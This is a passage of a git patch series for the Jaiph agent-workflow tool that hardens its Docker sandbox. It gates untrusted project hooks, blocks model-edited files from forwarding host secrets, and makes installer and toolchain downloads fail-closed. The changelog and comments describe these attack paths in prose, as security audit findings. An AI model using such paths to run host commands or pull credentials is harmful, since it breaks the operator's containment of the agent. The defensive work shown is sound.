(see [the runtime Docker keys](configuration.md#runtime-docker-keys)). When the mode is the default value `default`, no `--network` flag is passed and the container uses Docker's bridge with outbound access. A script can then reach outside services and send data off the machine over the network. Isolation-breaking network modes (`host`, `container:*`, `ns:*`) are **host-controlled**: a file-declared value is rejected (`E_DOCKER_NETWORK_HOST_ONLY`), so a repo- or model-supplied workflow cannot join the host network namespace to reach loopback-only services or bind host ports — only the operator can select those through `JAIPH_DOCKER_NETWORK`. - **Agent credentials cross the boundary.** The credential keys of the run's backends (`ANTHROPIC_API_KEY` or `CLAUDE_CODE_OAUTH_TOKEN`, `CURSOR_API_KEY`, `OPENAI_API_KEY`) are forwarded so agent-backed workflows can work, including the `codex` HTTP backend. Because outbound network is on by default, treat these credentials as fully readable by anything that runs inside the container. Backends the entry file does not select get nothing forwarded. -- **Hooks run on the host.** Hook commands from `.jaiph/hooks.json`, merged with `~/.jaiph/hooks.json`, run in the host CLI process, not inside the container, and they have full host access. Hook config is trusted. +- **Hooks run on the host.** Hook commands from `.jaiph/hooks.json`, merged with `~/.jaiph/hooks.json`, run in the host CLI process, not inside the container, and they have full host access. Because a project-local `/.jaiph/hooks.json` can arrive with an untrusted clone, it is gated behind a per-workspace trust decision: it runs only when the operator opts in with `JAIPH_TRUST_PROJECT_HOOKS=1`, and is otherwise ignored with a stderr notice (finding M-10). The global `~/.jaiph/hooks.json` is the operator's own and is always trusted. See [`JAIPH_TRUST_PROJECT_HOOKS`](env-vars.md) and [Add a hook](hooks.md). - **You are responsible for the image supply chain.** Jaiph checks that the selected image contains a working `jaiph` binary, but it does not check image signatures or where the image came from. Use trusted registries, and pin image digests for anything you depend on. - **A container escape is still possible.** Docker is not the same as a virtual machine or hardware isolation. It makes script-level attacks much harder, but a kernel exploit can break out in principle. - **Inplace mode turns off workspace isolation.** With `JAIPH_INPLACE` set, the run can change your real workspace. The machine outside the workspace stays sandboxed as in any mode, but a run that crashes or misbehaves can leave your checkout half-edited. diff --git a/integration/exec-policy.test.ts b/integration/exec-policy.test.ts index 984cd8d1..9c3a240d 100644 --- a/integration/exec-policy.test.ts +++ b/integration/exec-policy.test.ts @@ -41,7 +41,7 @@ const FIXTURE = [ ].join("\n"); /** Sandbox-control keys that must not leak in from the test-runner env. */ -const CONTROL_KEYS = ["JAIPH_UNSAFE", "JAIPH_INPLACE", "JAIPH_INPLACE_YES", "JAIPH_DOCKER_ENABLED", "PROBE_A", "PROBE_B"]; +const CONTROL_KEYS = ["JAIPH_UNSAFE", "JAIPH_INPLACE", "JAIPH_INPLACE_YES", "JAIPH_DOCKER_ENABLED", "JAIPH_TRUST_PROJECT_HOOKS", "PROBE_A", "PROBE_B"]; function cleanEnv(extra: Record): NodeJS.ProcessEnv { const env: NodeJS.ProcessEnv = { ...process.env, PATH: `${dirname(process.execPath)}:${process.env.PATH ?? ""}` }; @@ -399,7 +399,9 @@ test("hook contract: direct `jaiph run` dispatches all four events with the docu const { ws, fixture } = makeWorkspace(); try { const hooksLog = writeHooksConfig(ws); - const outcome = runDirect(ws, fixture, [], cleanEnv({ JAIPH_DOCKER_ENABLED: "false", HOOKS_LOG: hooksLog })); + // Project-local hooks are gated behind the per-workspace trust opt-in + // (finding M-10); this contract exercises the trusted path. + const outcome = runDirect(ws, fixture, [], cleanEnv({ JAIPH_DOCKER_ENABLED: "false", JAIPH_TRUST_PROJECT_HOOKS: "1", HOOKS_LOG: hooksLog })); assert.equal(outcome.exitCode, 0, `run failed:\n${outcome.stderr}`); assertHookContract(await waitForHookEvents(hooksLog), fixture, ws, "run"); } finally { @@ -407,11 +409,32 @@ test("hook contract: direct `jaiph run` dispatches all four events with the docu } }); +test("hook contract: untrusted workspace does not run project-local hooks (finding M-10)", async () => { + const { ws, fixture } = makeWorkspace(); + try { + const hooksLog = writeHooksConfig(ws); + // No JAIPH_TRUST_PROJECT_HOOKS: the project-local .jaiph/hooks.json must not + // execute its host commands, so the hooks log is never created. The run + // itself still succeeds (a hook gate never fails the workflow). + const outcome = runDirect(ws, fixture, [], cleanEnv({ JAIPH_DOCKER_ENABLED: "false", HOOKS_LOG: hooksLog })); + assert.equal(outcome.exitCode, 0, `run should still succeed:\n${outcome.stderr}`); + assert.equal(existsSync(hooksLog), false, "no hook command ran, so the log was never written"); + assert.match( + outcome.stderr, + /project-local hooks .* are ignored \(untrusted workspace\)/, + "the CLI states why the project hooks were skipped and how to trust them", + ); + assert.match(outcome.stderr, /JAIPH_TRUST_PROJECT_HOOKS=1/, "the notice names the opt-in"); + } finally { + rmSync(ws, { recursive: true, force: true }); + } +}); + test("hook contract: HTTP `jaiph serve` runs dispatch the same four events", async () => { const { ws, fixture } = makeWorkspace(); try { const hooksLog = writeHooksConfig(ws); - const outcome = await runServeMode(ws, fixture, [], cleanEnv({ JAIPH_DOCKER_ENABLED: "false", HOOKS_LOG: hooksLog })); + const outcome = await runServeMode(ws, fixture, [], cleanEnv({ JAIPH_DOCKER_ENABLED: "false", JAIPH_TRUST_PROJECT_HOOKS: "1", HOOKS_LOG: hooksLog })); assert.notEqual(outcome.exitCode, 1, `serve failed:\n${outcome.stderr}`); assertHookContract(await waitForHookEvents(hooksLog), fixture, ws, "serve"); } finally { @@ -423,7 +446,7 @@ test("hook contract: MCP tool calls dispatch the same four events", async () => const { ws, fixture } = makeWorkspace(); try { const hooksLog = writeHooksConfig(ws); - const outcome = await runMcpMode(ws, fixture, [], cleanEnv({ JAIPH_DOCKER_ENABLED: "false", HOOKS_LOG: hooksLog })); + const outcome = await runMcpMode(ws, fixture, [], cleanEnv({ JAIPH_DOCKER_ENABLED: "false", JAIPH_TRUST_PROJECT_HOOKS: "1", HOOKS_LOG: hooksLog })); assert.notEqual(outcome.exitCode, 1, `mcp failed:\n${outcome.stderr}`); assertHookContract(await waitForHookEvents(hooksLog), fixture, ws, "mcp"); } finally { diff --git a/src/cli/commands/run.ts b/src/cli/commands/run.ts index f6541857..f0adb29a 100644 --- a/src/cli/commands/run.ts +++ b/src/cli/commands/run.ts @@ -72,7 +72,7 @@ import { formatElapsedDuration, formatRunningBottomLine, } from "../run/progress"; -import { loadMergedHooks, registerHooksSubscriber } from "../run/hooks"; +import { loadMergedHooks, registerHooksSubscriber, isProjectHooksTrusted } from "../run/hooks"; import { resolveRuntimeEnv, applySandboxFlags, resolveEnvPairs, isUnsafeHostOnly } from "../run/env"; import { preflightAgentCredentials, collectEntryBackends } from "../run/preflight-credentials"; import { planTrustedEnvs, isTrustedEnvsOptIn } from "../run/trusted-envs"; @@ -138,7 +138,7 @@ export async function runWorkflow(rest: string[]): Promise { return runWorkflowRaw(inputAbs, workspaceRoot, target, runArgs, sandboxFlags, extraEnv); } - const hooksConfig = loadMergedHooks(workspaceRoot); + const hooksConfig = loadMergedHooks(workspaceRoot, isProjectHooksTrusted(process.env)); const graph = loadModuleGraph(inputAbs, workspaceRoot); const mod = graph.modules.get(inputAbs)!.ast; const resolvedModuleMetadata = resolveModuleMetadata(mod, process.env); diff --git a/src/cli/run/hooks.test.ts b/src/cli/run/hooks.test.ts index 981bdce9..f1104308 100644 --- a/src/cli/run/hooks.test.ts +++ b/src/cli/run/hooks.test.ts @@ -9,6 +9,7 @@ import { parseHookConfig, loadMergedHooks, runHooksForEvent, + isProjectHooksTrusted, type MergedHookConfig, } from "./hooks"; @@ -59,7 +60,7 @@ test("parseHookConfig ignores non-string array elements", () => { test("loadMergedHooks returns empty when no config files exist", () => { const root = mkdtempSync(join(tmpdir(), "jaiph-hooks-none-")); try { - const merged = loadMergedHooks(root); + const merged = loadMergedHooks(root, true); assert.deepEqual(merged.workflow_start, []); assert.deepEqual(merged.workflow_end, []); assert.deepEqual(merged.step_start, []); @@ -69,7 +70,7 @@ test("loadMergedHooks returns empty when no config files exist", () => { } }); -test("loadMergedHooks loads project-local hooks.json when present", () => { +test("loadMergedHooks loads project-local hooks.json when the workspace is trusted", () => { const root = mkdtempSync(join(tmpdir(), "jaiph-hooks-project-")); try { const jaiphDir = join(root, ".jaiph"); @@ -82,7 +83,7 @@ test("loadMergedHooks loads project-local hooks.json when present", () => { workflow_end: ["echo end"], }), ); - const merged = loadMergedHooks(root); + const merged = loadMergedHooks(root, true); assert.deepEqual(merged.workflow_start, ["echo start"]); assert.deepEqual(merged.workflow_end, ["echo end"]); assert.deepEqual(merged.step_start, []); @@ -92,6 +93,67 @@ test("loadMergedHooks loads project-local hooks.json when present", () => { } }); +test("loadMergedHooks ignores project-local hooks.json when the workspace is untrusted (finding M-10)", () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-hooks-untrusted-")); + try { + const jaiphDir = join(root, ".jaiph"); + mkdirSync(jaiphDir, { recursive: true }); + writeFileSync( + join(jaiphDir, "hooks.json"), + JSON.stringify({ workflow_start: ["touch /tmp/should-not-run"] }), + ); + const merged = loadMergedHooks(root, false); + // Absent the trust decision the project file's commands must not be loaded. + assert.deepEqual(merged.workflow_start, []); + assert.deepEqual(merged.workflow_end, []); + assert.deepEqual(merged.step_start, []); + assert.deepEqual(merged.step_end, []); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test("loadMergedHooks keeps global ~/.jaiph/hooks.json even when the workspace is untrusted", () => { + const realHome = process.env.HOME; + const fakeHome = mkdtempSync(join(tmpdir(), "jaiph-hooks-home-")); + const root = mkdtempSync(join(tmpdir(), "jaiph-hooks-global-")); + try { + // Global hooks live under the operator's own home and are implicitly + // trusted; the workspace-trust gate applies only to the project file. + const globalDir = join(fakeHome, ".jaiph"); + mkdirSync(globalDir, { recursive: true }); + writeFileSync( + join(globalDir, "hooks.json"), + JSON.stringify({ workflow_start: ["echo global"] }), + ); + // An untrusted project file present alongside must not run, but must also + // not suppress the global command for the same event. + const projectDir = join(root, ".jaiph"); + mkdirSync(projectDir, { recursive: true }); + writeFileSync( + join(projectDir, "hooks.json"), + JSON.stringify({ workflow_start: ["echo project"] }), + ); + process.env.HOME = fakeHome; + const merged = loadMergedHooks(root, false); + assert.deepEqual(merged.workflow_start, ["echo global"]); + assert.deepEqual(merged.workflow_end, []); + } finally { + if (realHome === undefined) delete process.env.HOME; + else process.env.HOME = realHome; + rmSync(fakeHome, { recursive: true, force: true }); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("isProjectHooksTrusted honours only the documented opt-in values", () => { + assert.equal(isProjectHooksTrusted({ JAIPH_TRUST_PROJECT_HOOKS: "1" }), true); + assert.equal(isProjectHooksTrusted({ JAIPH_TRUST_PROJECT_HOOKS: "true" }), true); + assert.equal(isProjectHooksTrusted({ JAIPH_TRUST_PROJECT_HOOKS: "0" }), false); + assert.equal(isProjectHooksTrusted({ JAIPH_TRUST_PROJECT_HOOKS: "yes" }), false); + assert.equal(isProjectHooksTrusted({}), false); +}); + test("runHooksForEvent with empty config does not throw", () => { const empty: MergedHookConfig = { workflow_start: [], diff --git a/src/cli/run/hooks.ts b/src/cli/run/hooks.ts index 7ed1b9a0..b85a89ac 100644 --- a/src/cli/run/hooks.ts +++ b/src/cli/run/hooks.ts @@ -20,6 +20,20 @@ export function projectHooksPath(workspaceRoot: string): string { return join(workspaceRoot, ".jaiph", HOOKS_FILENAME); } +/** + * Operator opt-in (`JAIPH_TRUST_PROJECT_HOOKS=1|true`) that trusts the current + * workspace's project-local `.jaiph/hooks.json`. Absent it, the project file is + * ignored (finding M-10): its commands run on the *host* CLI — before and + * outside any Docker sandbox — so a cloned/untrusted repo must not execute + * arbitrary host commands on `jaiph run` without an explicit trust decision. + * The global `~/.jaiph/hooks.json` is the operator's own and stays trusted. + * Read from the host env only, never from workflow config — the file must not + * be able to trust itself. + */ +export function isProjectHooksTrusted(env: Record): boolean { + return env.JAIPH_TRUST_PROJECT_HOOKS === "1" || env.JAIPH_TRUST_PROJECT_HOOKS === "true"; +} + /** Validate and normalize raw JSON to HookConfig. Returns null if invalid. */ export function parseHookConfig(raw: string, sourceLabel: string): HookConfig | null { try { @@ -92,14 +106,33 @@ function emptyMerged(): MergedHookConfig { * Load global and project hook configs and merge with precedence: * project-local entries override global for each event (per-event override). * Returns merged config; if both files absent or invalid, returns empty arrays for all events. + * + * `trustProjectHooks` gates the project-local file behind an explicit + * per-workspace trust decision (finding M-10). When false, a present-and-valid + * `/.jaiph/hooks.json` is ignored (with a one-line stderr notice) so + * its host commands never run without operator consent; the global + * `~/.jaiph/hooks.json` is unaffected either way. */ -export function loadMergedHooks(workspaceRoot: string): MergedHookConfig { +export function loadMergedHooks( + workspaceRoot: string, + trustProjectHooks: boolean, +): MergedHookConfig { const merged = emptyMerged(); const globalPath = globalHooksPath(); const projectPath = projectHooksPath(workspaceRoot); const globalConfig = loadHookConfig(globalPath); - const projectConfig = loadHookConfig(projectPath); + const rawProjectConfig = loadHookConfig(projectPath); + const projectHasCommands = + rawProjectConfig !== null && Object.keys(rawProjectConfig).length > 0; + if (projectHasCommands && !trustProjectHooks) { + process.stderr.write( + `jaiph hooks: project-local hooks at ${projectPath} are ignored (untrusted workspace) — ` + + `they run host commands outside the Docker sandbox. Set JAIPH_TRUST_PROJECT_HOOKS=1 to trust ` + + `this workspace. Global ~/.jaiph/hooks.json still runs.\n`, + ); + } + const projectConfig = trustProjectHooks ? rawProjectConfig : null; const events: HookEventName[] = [ "workflow_start", diff --git a/src/cli/shared/generation.ts b/src/cli/shared/generation.ts index a5573753..638918f1 100644 --- a/src/cli/shared/generation.ts +++ b/src/cli/shared/generation.ts @@ -15,7 +15,7 @@ import { } from "../../runtime/docker"; import { resolveRuntimeEnv, applySandboxFlags, isUnsafeHostOnly, type SandboxFlags } from "../run/env"; import { preflightAgentCredentials } from "../run/preflight-credentials"; -import { loadMergedHooks } from "../run/hooks"; +import { loadMergedHooks, isProjectHooksTrusted } from "../run/hooks"; import { deriveTools, type McpToolSpec } from "../mcp/tools"; import type { WorkflowCallEnvironment } from "../exec/call"; @@ -68,8 +68,10 @@ export function loadGeneration( const effectiveConfig = metadataToConfig(resolvedModuleMetadata); // Hooks reload with the generation, so a hooks.json edit is picked up on the - // next source change like every other per-generation input. - const hooks = loadMergedHooks(workspaceRoot); + // next source change like every other per-generation input. Project-local + // hooks stay gated behind the per-workspace trust opt-in (finding M-10); the + // server reads it from the host env, the same as `jaiph run`. + const hooks = loadMergedHooks(workspaceRoot, isProjectHooksTrusted(process.env)); return { state: { diff --git a/src/env-reserved.ts b/src/env-reserved.ts index 743da200..e5fa2b02 100644 --- a/src/env-reserved.ts +++ b/src/env-reserved.ts @@ -32,6 +32,10 @@ export const RESERVED_ENV_KEYS = new Set([ // sandbox allowlist. It is the operator's consent, not the file's, so the // file must not be able to name it via `--env` / `trusted_envs`. "JAIPH_TRUSTED_ENVS", + // Operator opt-in that trusts the workspace's project-local `.jaiph/hooks.json` + // (finding M-10). It is the operator's per-workspace consent, not the file's, + // so a `.jh` file must not be able to name it via `--env` / `trusted_envs`. + "JAIPH_TRUST_PROJECT_HOOKS", // Selects the inner run's root symbol in a Docker MCP call; managed via the // container spawn wiring, not user env. "JAIPH_RUN_WORKFLOW", From 7142be883ae54e1798a40d5a0730a8ea7a71af98 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 15:31:02 +0200 Subject: [PATCH 23/86] Feat: fail-closed release install and runtime toolchain verification Harden download verification so a compromised release channel or toolchain CDN cannot slip unverified bytes past the installer or the runtime image (finding M-11). The binary installer now requires a valid minisign signature on a normal host: a missing minisign aborts unless CI is set or the operator opts into JAIPH_ALLOW_UNSIGNED=1, and an empty JAIPH_MINISIGN_PUBLIC_KEY fails closed instead of silently skipping. The jaiph run/init/use bootstraps stop piping curl into bash and instead fetch docs/install with its published install.sha256, compare them, and run the script only on a match. Every remote toolchain fetch in runtime/Dockerfile routes through the new runtime/fetch-verify.sh, which requires a non-empty pinned SHA-256 and runs sha256sum -c, so an empty or mismatched checksum fails the build. Covered by use.test.ts, release-workflow.test.ts, and e2e tests 06/07/09. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 3 + QUEUE.md | 16 --- README.md | 2 +- docs/cli.md | 2 +- docs/contributing.md | 8 +- docs/env-vars.md | 5 +- docs/init | 38 +++++- docs/install | 29 ++++- docs/install.ps1 | 23 +++- docs/install.sha256 | 1 + docs/run | 40 ++++++- docs/setup.md | 4 +- e2e/test_all.sh | 2 + e2e/tests/06_bootstrap_integrity.sh | 149 ++++++++++++++++++++++++ e2e/tests/07_installer_binary.sh | 99 +++++++++++++++- e2e/tests/09_dockerfile_fetch_verify.sh | 108 +++++++++++++++++ integration/release-workflow.test.ts | 47 +++++++- runtime/Dockerfile | 109 +++++++++-------- runtime/fetch-verify.sh | 51 ++++++++ src/cli/commands/use.test.ts | 81 +++++++++++++ src/cli/commands/use.ts | 61 +++++++++- 21 files changed, 786 insertions(+), 92 deletions(-) create mode 100644 docs/install.sha256 create mode 100644 e2e/tests/06_bootstrap_integrity.sh create mode 100644 e2e/tests/09_dockerfile_fetch_verify.sh create mode 100755 runtime/fetch-verify.sh diff --git a/CHANGELOG.md b/CHANGELOG.md index aa1317e4..61d0c9d2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,9 +11,12 @@ - **A workflow file can no longer pull arbitrary host secrets into the Docker sandbox by declaring them:** the entry file's `trusted_envs` keys cross the sandbox allowlist only when the operator opts in with `JAIPH_TRUSTED_ENVS=1`. Absent the opt-in, a file-declared `trusted_envs` is ignored under Docker with a pre-flight warning, so an untrusted or model-edited entry naming `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` cannot forward that host secret across the allowlist on its own. Host modes have no allowlist to bypass, so they honour the declaration as before, and authoring the entry file is now a trust boundary equal to `--env`. - **A `sub`-less OIDC token no longer collapses onto one shared identity:** the OIDC principal is the token `sub`, falling back to `client_id` for machine tokens (OAuth2 client-credentials) that omit `sub`, and a verified token carrying neither claim is rejected with `401` instead of authenticating as a shared `unknown` principal. Two machine callers on the same issuer can no longer share one run-visibility bucket or idempotency namespace, so neither can list, read, or cancel the other's runs. - **Project-local `.jaiph/hooks.json` no longer runs on the host without a workspace-trust decision:** hook commands run in the host CLI process, before and outside any Docker sandbox, so a `/.jaiph/hooks.json` that arrives with a cloned or untrusted repository is now gated behind the operator opt-in `JAIPH_TRUST_PROJECT_HOOKS=1`. Absent the opt-in, `jaiph run`, `jaiph serve`, and `jaiph mcp` ignore the project file with a one-line stderr notice, so a cloned repo cannot execute arbitrary host commands on `workflow_start`. The global `~/.jaiph/hooks.json` is the operator's own and always runs. +- **Release install and the runtime image now verify every download instead of failing open:** the binary installer requires a valid minisign signature, so on a normal host a missing `minisign` aborts the install rather than degrading to checksum-only, an empty `JAIPH_MINISIGN_PUBLIC_KEY` fails closed, and only a CI host or `JAIPH_ALLOW_UNSIGNED=1` proceeds on checksum alone. The `jaiph run`, `jaiph init`, and `jaiph use` bootstraps fetch `docs/install` and its published `install.sha256`, verify the two match, and refuse to run a tampered script instead of piping `curl … | bash`. Every toolchain fetch in `runtime/Dockerfile` now goes through `runtime/fetch-verify.sh` with a required, pinned SHA-256, so a poisoned toolchain CDN fails the build. ## All changes +- **Security — make release-install and runtime-image toolchain verification fail-closed (finding M-11):** the binary installer (`docs/install`, `docs/install.ps1`) verified the detached minisign signature only when `minisign` was on `PATH` and otherwise warned and continued on checksum only, and the checksum arrives over the same channel as the binary, so a default host with no `minisign` had no independent defense; an explicitly empty `JAIPH_MINISIGN_PUBLIC_KEY` silently skipped verification. The installer now reads the key with `${VAR-default}` so only an unset variable falls back to the bundled key, treats an empty value as a fail-closed misconfiguration, and requires `minisign` on a normal host, so a missing binary aborts unless `CI` is set or the operator opts into a checksum-only install with `JAIPH_ALLOW_UNSIGNED=1`. The `jaiph run` / `jaiph init` bootstraps (`docs/run`, `docs/init`) and `jaiph use` (`src/cli/commands/use.ts`) no longer pipe `curl … | bash`: they download `docs/install` and its published `docs/install.sha256`, compare them, and run the script only on a match, so a tampered bootstrap script is rejected; `JAIPH_SITE` overrides the base URL and an explicit `JAIPH_INSTALL_COMMAND` stays a verbatim operator override. Every remote toolchain fetch in `runtime/Dockerfile` now goes through the new `runtime/fetch-verify.sh`, which requires a non-empty pinned SHA-256 and runs `sha256sum -c`, and the installer-script and per-architecture binary ARGs (`UV_INSTALL_SHA256`, `RUSTUP_INIT_SHA256`, `BUN_INSTALL_SHA256`, `CURSOR_INSTALL_SHA256`, `GO_SHA256_*`, `YQ_SHA256_*`, `KUBECTL_SHA256_*`, `AWSCLI_SHA256_*`, `TASK_SHA256_*`) default to the pinned hashes, so an empty or mismatched checksum fails the build instead of installing unverified bytes. Tests: `src/cli/commands/use.test.ts` (the default path verifies the fetched script and aborts on a mismatched or missing checksum, and an explicit `JAIPH_INSTALL_COMMAND` still runs verbatim), `integration/release-workflow.test.ts`, `e2e/tests/06_bootstrap_integrity.sh` (a tampered or unpublished install script is rejected and the committed `install.sha256` is pinned to `docs/install`), `e2e/tests/07_installer_binary.sh` (an empty key and a missing `minisign` on a non-CI host fail closed, and `JAIPH_ALLOW_UNSIGNED=1` opts back into checksum-only), and `e2e/tests/09_dockerfile_fetch_verify.sh` (an empty or mismatched toolchain checksum fails, and every Dockerfile fetch routes through the helper with a non-empty pin). Docs: the fail-closed signature policy in [Verify the release signature](docs/setup.md#verify-the-release-signature), the verified-bootstrap note on [CLI — `jaiph use`](docs/cli.md#jaiph-use), the new `JAIPH_SITE`, `JAIPH_MINISIGN_PUBLIC_KEY`, and `JAIPH_ALLOW_UNSIGNED` rows plus the rewritten `JAIPH_INSTALL_COMMAND` row in [Environment variables](docs/env-vars.md), the release-signing and Dockerfile-toolchain notes in [Contributing](docs/contributing.md#release-signing), the switch-versions note in [Install & switch versions](docs/setup.md), and the install-verification note in the [README](README.md). + - **Security — gate the project-local `.jaiph/hooks.json` behind a workspace-trust opt-in (finding M-10):** `loadMergedHooks` (`src/cli/run/hooks.ts`) loaded `/.jaiph/hooks.json` and merged it with the global `~/.jaiph/hooks.json` unconditionally, and both `runWorkflow` (`src/cli/commands/run.ts`) and `loadGeneration` (`src/cli/shared/generation.ts`) registered those commands to run in the host CLI process via `spawn(resolveShell(), ["-c", cmd], …)` (`runHooksForEvent`), before and outside any Docker sandbox. A user who cloned a shared repo and ran any workflow — `jaiph run flow.jh`, or a `jaiph serve` / `jaiph mcp` call — executed the repo's `.jaiph/hooks.json` host commands on `workflow_start` with no confirmation, allowlist, or trust prompt. `loadMergedHooks` now takes a `trustProjectHooks` argument, and the callers pass the new exported `isProjectHooksTrusted(process.env)`, which is true only for `JAIPH_TRUST_PROJECT_HOOKS=1` or `=true`. Absent the opt-in, a present-and-non-empty project file is ignored (its commands never load) and the CLI writes a one-line stderr notice naming the path and the opt-in; the global file is unaffected either way and still runs, including when an untrusted project file names the same event. `JAIPH_TRUST_PROJECT_HOOKS` is read from the host env only and is added to `RESERVED_ENV_KEYS` (`src/env-reserved.ts`), so a `.jh` file cannot name it via `--env` / `trusted_envs` and the file cannot trust itself. Tests: `src/cli/run/hooks.test.ts` (`loadMergedHooks` loads the project file only when trusted, ignores it when untrusted, keeps the global file under an untrusted workspace, and `isProjectHooksTrusted` honours only `1` / `true`) and `integration/exec-policy.test.ts` (an untrusted workspace runs no project hook and prints the notice, while the trusted path still dispatches all four events on `jaiph run`, `jaiph serve`, and `jaiph mcp`). Docs: [`JAIPH_TRUST_PROJECT_HOOKS`](docs/env-vars.md), the workspace-trust section in [Add a hook](docs/hooks.md), the hooks bullet in [Sandboxing](docs/sandboxing.md), and the reserved-key list on [CLI — `--env`](docs/cli.md). - **Security — reject or distinctly identify OIDC tokens that lack `sub` (finding M-9):** `createOidcAuthenticator` (`src/cli/serve/auth.ts`) set the principal subject to `typeof payload.sub === "string" && payload.sub.length > 0 ? payload.sub : "unknown"`, and per-principal isolation keys entirely on `principal.subject`: `lookupRun` and `listRuns` compare `record.principal` to it (`src/cli/serve/handler.ts`), and the idempotency index is the composite `principal\nworkflow\nkey`. OIDC principals are scoped (`ownsAllRuns: false`) and may inspect or cancel only their own runs, but any two callers whose verified tokens omit `sub` (common for OAuth2 client-credentials / machine tokens) both authenticated as `subject === "unknown"` and shared one run-visibility bucket and idempotency namespace, so client B could enumerate and cancel client A's runs and collide on A's `Idempotency-Key`. Identity now comes from the new exported `principalSubject(payload)`, which returns the token `sub` when it is a non-empty string, else a non-empty `client_id`, else `null`; the authenticator rejects a verified token that yields `null` with `401` (`token has no subject (sub/client_id) to identify the caller`), so no principal is ever assigned the shared `unknown` constant for isolation. Tests: `src/cli/serve/auth.test.ts` (`principalSubject` prefers `sub`, falls back to `client_id`, returns `null` for neither or empty values, and is never `"unknown"`) and `integration/serve-auth.test.ts` (two `sub`-less tokens with distinct `client_id` get distinct identities and record their own `client_id` on the run; client B cannot read, list, or cancel client A's run; a token with neither claim is `401 E_UNAUTHORIZED`). Docs: the principal-identity clause in [CLI — `jaiph serve`](docs/cli.md#jaiph-serve), the `sub`/`client_id`/`401` note in [Serve workflows over HTTP](docs/serve.md), and the `jaiph.principal` note in [Export traces to an OTLP collector](docs/observability.md). diff --git a/QUEUE.md b/QUEUE.md index 8e5dcb16..eca12fae 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,22 +14,6 @@ Process rules: *** -## Make release-install and runtime-image toolchain verification fail-closed #dev-ready - -Context: ASI-09, MEDIUM, confidence 0.80. Finding M-11 — release-install verification is fail-open and the runtime image pulls toolchains without checksums. - -Problem: The release binary's minisign signature is checked only when `minisign` is on PATH; otherwise the installer warns and continues (`docs/install:242-256`), so a default host with no minisign degrades to checksum-only — and the checksum arrives from the same channel as the binary. `JAIPH_RELEASE_BASE_URL` / `JAIPH_MINISIGN_PUBLIC_KEY` are overridable and an empty key silently skips verification (`docs/install:213,242-243`). The bootstrap pipes an unsigned script to `bash` with an env-overridable origin (`use.ts:37-42`, `docs/run`). The runtime image fetches/executes toolchain installers (uv/rustup/bun/cursor-agent checksum ARGs default to `""` → skip; go/yq/kubectl/aws-cli/go-task fetched with no checksum) in `runtime/Dockerfile`. An attacker compromising the GitHub Release (or the channel via `JAIPH_RELEASE_BASE_URL`) can replace the binary and `SHA256SUMS` consistently and pass the checksum without the signature ever being checked; a compromised toolchain CDN poisons default runtime-image builds. - -Location: `docs/install:213`, `:242-256`; `src/cli/commands/use.ts:37-42`; `runtime/Dockerfile`. - -Remediation: Make signature verification mandatory for non-CI installs (bootstrap a pinned verifier, or treat "minisign unavailable" as fail-closed); publish and check a hash/signature of the install script itself; treat an empty `JAIPH_MINISIGN_PUBLIC_KEY` as fail-closed, not skip; populate and require the Dockerfile SHA-256 ARGs and add `sha256sum -c` for go/yq/kubectl/aws/task. - -### Acceptance criteria -- A non-CI install with `minisign` unavailable fails closed rather than continuing on checksum-only; a test/harness asserts the installer aborts. -- An empty `JAIPH_MINISIGN_PUBLIC_KEY` causes verification to fail closed, not skip; a test asserts the abort. -- The runtime `Dockerfile` requires a non-empty SHA-256 for each toolchain fetch (uv/rustup/bun/cursor-agent and go/yq/kubectl/aws-cli/go-task) and runs `sha256sum -c`; a build with a mismatched/empty checksum fails. -- The install/bootstrap script's own integrity is verified before execution (hash/signature check); a test/harness asserts a tampered script is rejected. - ## Broaden and canonicalise credential redaction #dev-ready Context: ASI-06, MEDIUM, confidence 0.85. Finding M-5 — redaction misses common secret names and is literal-substring only. diff --git a/README.md b/README.md index a1893b8f..19c1a471 100644 --- a/README.md +++ b/README.md @@ -86,7 +86,7 @@ In GitHub Actions, install a pinned CLI with the [`setup-jaiph`](actions/setup-j Verify: `jaiph --version`. Switch versions: `jaiph use nightly` or `jaiph use 0.12.0`. -Releases ship a `SHA256SUMS` file plus a detached [minisign](https://jedisct1.github.io/minisign/) signature (`SHA256SUMS.minisig`); the installer verifies the checksum and, when `minisign` and the project public key are available, the signature — see [Verify the release signature](docs/setup.md#verify-the-release-signature). +Releases ship a `SHA256SUMS` file plus a detached [minisign](https://jedisct1.github.io/minisign/) signature (`SHA256SUMS.minisig`). The installer verifies the checksum and requires a valid signature: on a normal host a missing `minisign` aborts the install rather than degrading to checksum-only (set `JAIPH_ALLOW_UNSIGNED=1`, or run in CI, to opt into checksum-only). See [Verify the release signature](docs/setup.md#verify-the-release-signature). Initialize a project (optional): `jaiph init` writes `.jaiph/` with bootstrap workflow, gitignore entries for runs/tmp, and **`SKILL.md`**. The CLI resolves the skill body in this order — `JAIPH_SKILL_PATH`, install-relative `jaiph-skill.md`, `docs/jaiph-skill.md` under cwd, then an **embedded copy baked into the binary** as the final fallback — so `jaiph init` always writes `SKILL.md` (see [Install & switch versions](docs/setup.md)). Canonical skill text for agents: `https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md`. diff --git a/docs/cli.md b/docs/cli.md index ef15fcad..08083443 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -278,7 +278,7 @@ jaiph use | `nightly` | Reinstalls from the rolling `nightly` prerelease. | | `` (e.g. `0.12.0`) | Reinstalls the release binary for tag `v`. | -Implementation: re-invokes `JAIPH_INSTALL_COMMAND` (default `curl -fsSL https://jaiph.org/install | bash`) with `JAIPH_REPO_REF` set to `nightly` or `v`. The installer downloads the matching per-platform binary plus `SHA256SUMS`, verifies the checksum, and replaces `~/.local/bin/jaiph` (or `JAIPH_BIN_DIR`). +Implementation: with no `JAIPH_INSTALL_COMMAND` override, `jaiph use` downloads the install script from `${JAIPH_SITE}/install` (default `https://jaiph.org`), verifies it against the published `${JAIPH_SITE}/install.sha256`, and only then runs it with `JAIPH_REPO_REF` set to `nightly` or `v`. A mismatched or missing checksum fails closed rather than piping an unverified script to `bash`. Setting `JAIPH_INSTALL_COMMAND` overrides this with a verbatim command (forks, offline bundles, local scripts). The installer then 